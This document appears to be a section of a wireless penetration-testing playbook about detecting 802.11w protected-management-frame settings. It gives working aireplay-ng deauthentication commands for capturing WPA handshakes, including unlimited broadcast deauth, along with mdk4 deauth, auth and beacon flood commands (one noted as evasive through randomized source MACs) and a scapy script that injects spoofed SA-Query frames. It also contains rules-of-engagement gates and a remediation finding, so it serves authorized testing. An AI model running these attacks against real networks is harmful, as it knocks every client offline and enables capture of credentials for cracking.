Deauth / Disassoc + 802.11w (PMF) Posture

# Capture beacons for the target BSSID
sudo airodump-ng -c <CHANNEL> --bssid <BSSID> -w /tmp/pmf_recon \
    --output-format pcap <mon-iface>
# 5–10 seconds is enough to collect multiple beacons.

# Decode RSN capabilities: MFPC + MFPR bits
tshark -r /tmp/pmf_recon-01.cap -Y "wlan.fc.type_subtype == 8" \
    -T fields \
    -e wlan.ssid \
    -e wlan_mgt.rsn.capabilities.mfpc \
    -e wlan_mgt.rsn.capabilities.mfpr \
    2>/dev/null | sort -u

# Interpretation:
# MFPC=0, MFPR=0  → PMF disabled (deauth frames accepted by all clients)
# MFPC=1, MFPR=0  → PMF optional (deauth works against clients that don't support PMF)
# MFPC=1, MFPR=1  → PMF required (deauth frames are encrypted; unprotected deauth rejected)

# Alternative: iw to inspect connected interface (if you have network access)
iw dev <iface> info | grep -i pmf
# or from scan results:
iw <iface> scan | grep -A 20 "<SSID>" | grep -i "protected\|pmf\|mfp"

# Identify connected clients first
sudo airodump-ng -c <CHANNEL> --bssid <BSSID> <mon-iface>
# Bottom section shows STATION (client) MACs.

# Send a SINGLE targeted deauth frame (one reconnect trigger)
sudo aireplay-ng --deauth 1 \
    -a <BSSID> \
    -c <CLIENT_MAC> \
    <mon-iface>

# Confirm the client reassociates and watch for the handshake in
# airodump's header: "WPA handshake: <BSSID>"

# Send a burst of targeted deauth (3–5 frames) if single deauth is ignored
# (e.g., client is in power-save mode or noisy RF environment)
sudo aireplay-ng --deauth 5 \
    -a <BSSID> \
    -c <CLIENT_MAC> \
    <mon-iface>

# Broadcast deauth to all clients on the AP (posture=loud only)
# This is a DoS action — confirm it is an accepted risk in RoE.
sudo aireplay-ng --deauth 0 \
    -a <BSSID> \
    <mon-iface>
# --deauth 0 = unlimited broadcast; Ctrl+C to stop.

# Broadcast disassociation variant
sudo aireplay-ng --deauth 10 \
    -a <BSSID> \
    <mon-iface>

HARD STOP: broadcast deauth requires posture=loud AND
  plan/roe.json:permitted_actions contains "broadcast_deauth" or "dos_testing"
  This is a denial-of-service action — all clients lose connectivity.

# mdk4 deauth flood (more evasive — randomizes source MACs)
sudo mdk4 <mon-iface> d \
    -B <BSSID> \
    -c <CHANNEL>

# mdk4 auth flood (overwhelms AP's association table)
sudo mdk4 <mon-iface> a \
    -a <BSSID>

# mdk4 beacon flood (SSID pollution — interferes with scanning)
sudo mdk4 <mon-iface> b \
    -n "TargetSSID-DoS" \
    -c <CHANNEL>

# Check for SA-Query implementation via scapy (unprotected SA-Query test)
# This tests whether the AP responds to unauthenticated SA-Query frames,
# indicating incomplete PMF implementation even when MFPC=1.
sudo python3 - << 'PYEOF'
from scapy.all import *
from scapy.layers.dot11 import *

pkt = RadioTap() / \
      Dot11(type=0, subtype=13, addr1=<CLIENT_MAC>, addr2=<SPOOF_MAC>, addr3=<BSSID>) / \
      Dot11Action(category=8) / Raw(load=b'\x01\x00\x00\x01')
# category=8 = SA Query; action 0x01 = SA Query Response
sendp(pkt, iface=<mon-iface>, count=3, inter=0.1)
PYEOF
# If the client responds without encrypted SA-Query, PMF negotiation
# is incomplete (client accepted the connection without PMF).

kg_add_node(
    kind="finding",
    label=f"802.11w/PMF State: {pmf_state_label} on {ssid}",
    props={
        "key": f"pmf-state::{bssid}",
        "severity": {
            "disabled": "high",
            "optional": "medium",
            "required": "info",
        }[pmf_state],
        "pmf_state": pmf_state,          # "disabled" | "optional" | "required"
        "mfpc": mfpc,                    # bool
        "mfpr": mfpr,                    # bool
        "deauth_viable": pmf_state != "required",
        "bssid": bssid,
        "ssid": ssid,
        "remediation": (
            "Set MFP=Required on the AP (MFPR=1). "
            "WPA3 mandates PMF-required by spec. "
            "WPA2 networks should be upgraded to PMF=Required."
        ),
    },
)